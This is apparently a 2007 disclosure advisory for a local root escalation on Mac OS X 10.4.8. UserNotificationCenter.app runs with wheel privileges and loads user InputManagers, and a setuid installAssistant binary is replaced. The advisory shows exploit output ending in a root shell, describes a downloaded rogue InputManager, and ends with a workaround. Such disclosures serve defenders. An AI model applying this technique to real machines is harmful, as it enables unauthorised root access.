A CFUserNotification object presents a simple dialog on the screen and optionally receives feedback from the user. The contents of the dialog can include a header, a message, an icon, text fields, a pop-up button, radio buttons or checkboxes, and up to three ordinary buttons. Use CFUserNotification in processes that do not otherwise have user interfaces, but may need occasional interaction with the user.
The API involved in the handling of these dialogs,
works by sending a Mach message to a port named "
---- UserNotification-17.1/Libunc/UNCUserNotification.c #define NOTIFICATION_PORT_NAME "com.apple.UNCUserNotification" #define NOTIFICATION_PORT_NAME_OLD "UNCUserNotification" ---- UserNotification-17.1/Libunc/UNCUserNotification.c
is responsible for operating the
com.apple.UNCUserNotification port. For example,
making a call to
CFUserNotificationDisplayAlert() will lead to a call of
CFUserNotificationSendRequest() which then interacts with the Mach port. Upon connection,
UserNotificationCenter.app application is launched to handle the notification requests. In essence,
the notification center application is launched on demand, at any time by any process.
Although, the application retains wheel privileges on execution time, and still has a UID associated with the current user. Because of this,
UserNotificationCenter.app will attempt to run any
InputManager that the user has placed into
~/Library/InputManagers. The code that
is run within the input manager will do so under wheel privileges. In combination with
and a wheel-writable setuid binary, this allows unprivileged users to gain root privileges.
The following description about InputManager(s) is available at CocoaDev:
Officially, an InputManager is a plugin that allows the development of alternate input methods which work in any (Cocoa) application. Unofficially, the InputManager mechanism is one of the simplest and most popular way to load arbitrary external code into other applications.
We've been able to abuse this issue through so-called "kernel panics" (ex. using any of the DMG issues, the pathconf issue, etc), as well as regular application "crashes" for gaining root privileges from a completely unprivileged account.
Verified on Mac OS X 10.4.8 (8L2127) x86. In case there's any confusion, this issue is architecture independent.
Proof of concept, exploit or instructions to reproduce
The provided exploit can use 3 different methods for triggering the issue: the
notification API, kernel panic via DMG image and finally a corrupted font file (bonus bug from Kevin,
apparently reported to Apple months ago...). It will download a compiled InputManager prepared
to abuse the issue, and install it at
~/Library/InputManagers/. The notification
API method downloads a fat binary as well. The source code for both is available.
$ ruby bug-files/MOAB-22-01-2007.rb 0 ++ Welcome to Pwndertino... % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 4513 100 4513 0 0 4165 0 0:00:01 0:00:01 --:--:-- 12642 r00tim/ r00tim/Info r00tim/r00tim.bundle/ r00tim/r00tim.bundle/Contents/ r00tim/r00tim.bundle/Contents/Info.plist r00tim/r00tim.bundle/Contents/MacOS/ r00tim/r00tim.bundle/Contents/MacOS/r00tim r00tim/r00tim.bundle/Contents/Resources/ r00tim/r00tim.bundle/Contents/Resources/English.lproj/ r00tim/r00tim.bundle/Contents/Resources/English.lproj/InfoPlist.strings $ /Applications/System\ Preferences.app/Contents/Resources/installAssistant sh-2.05b# id uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)
installAssistant binary will be replaced. Create a backup somewhere before
running the exploit.
UserNotificationCenter running with wheel privileges:
$ ps -ax -osvuid,svgid,rgid,ruid,uid,gid,command SVUID SVGID RGID RUID UID GID COMMAND 502 0 0 502 502 0 /System/Library/CoreServices/UserNotification...
The contents of the InputManager that abuses the issue for escalating privileges via UserNotificationCenter:
$ tar -ztf MOAB-22-01-2007_im.tar.gz r00tim/ r00tim/Info r00tim/r00tim.bundle/ r00tim/r00tim.bundle/Contents/ r00tim/r00tim.bundle/Contents/Info.plist r00tim/r00tim.bundle/Contents/MacOS/ r00tim/r00tim.bundle/Contents/MacOS/r00tim r00tim/r00tim.bundle/Contents/Resources/ r00tim/r00tim.bundle/Contents/Resources/English.lproj/ r00tim/r00tim.bundle/Contents/Resources/English.lproj/InfoPlist.strings
The fat binary downloaded is simply a shell wrapper (typical
Basically, this vulnerability makes every "denial of service issue" leading to a so-called 'crash' usable
for escalating privileges. Elevating to root from wheel is as simple as replacing the
binary with a setuid(0) shell wrapper and running
diskutil to "repair" the permissions,
setting the setuid bit back.
diskutil requires the user to have
privileges, but due to the fact that it's being executed in the context of the InputManager (which, again,
runs with wheel privileges) the issue can be successfully exploited by fully unprivileged users.
This is done automatically within the rogue InputManager. We've decided to release it as a tribute to the original Month of Browser Bugs, and specially Matt Miller, Skywing and HD Moore, who developed a technique for abusing 'the otherwise non-exploitable' NULL pointer dereference issues.
To all who have tried to down play issues without a single clue about them, spread rumors and attack the project for no other reason than pure voyeurism and self-promotion, we hope you will be more discreet next time. The industry is already full of parasites. Resistance is futile.
Workaround or temporary solution
Limit user access to
~/Library/InputManagers/. Prevent use of
(modification of permissions of the
installAssistant binary isn't enough as
the tool will set the permissions back).
All your crash are belong to us.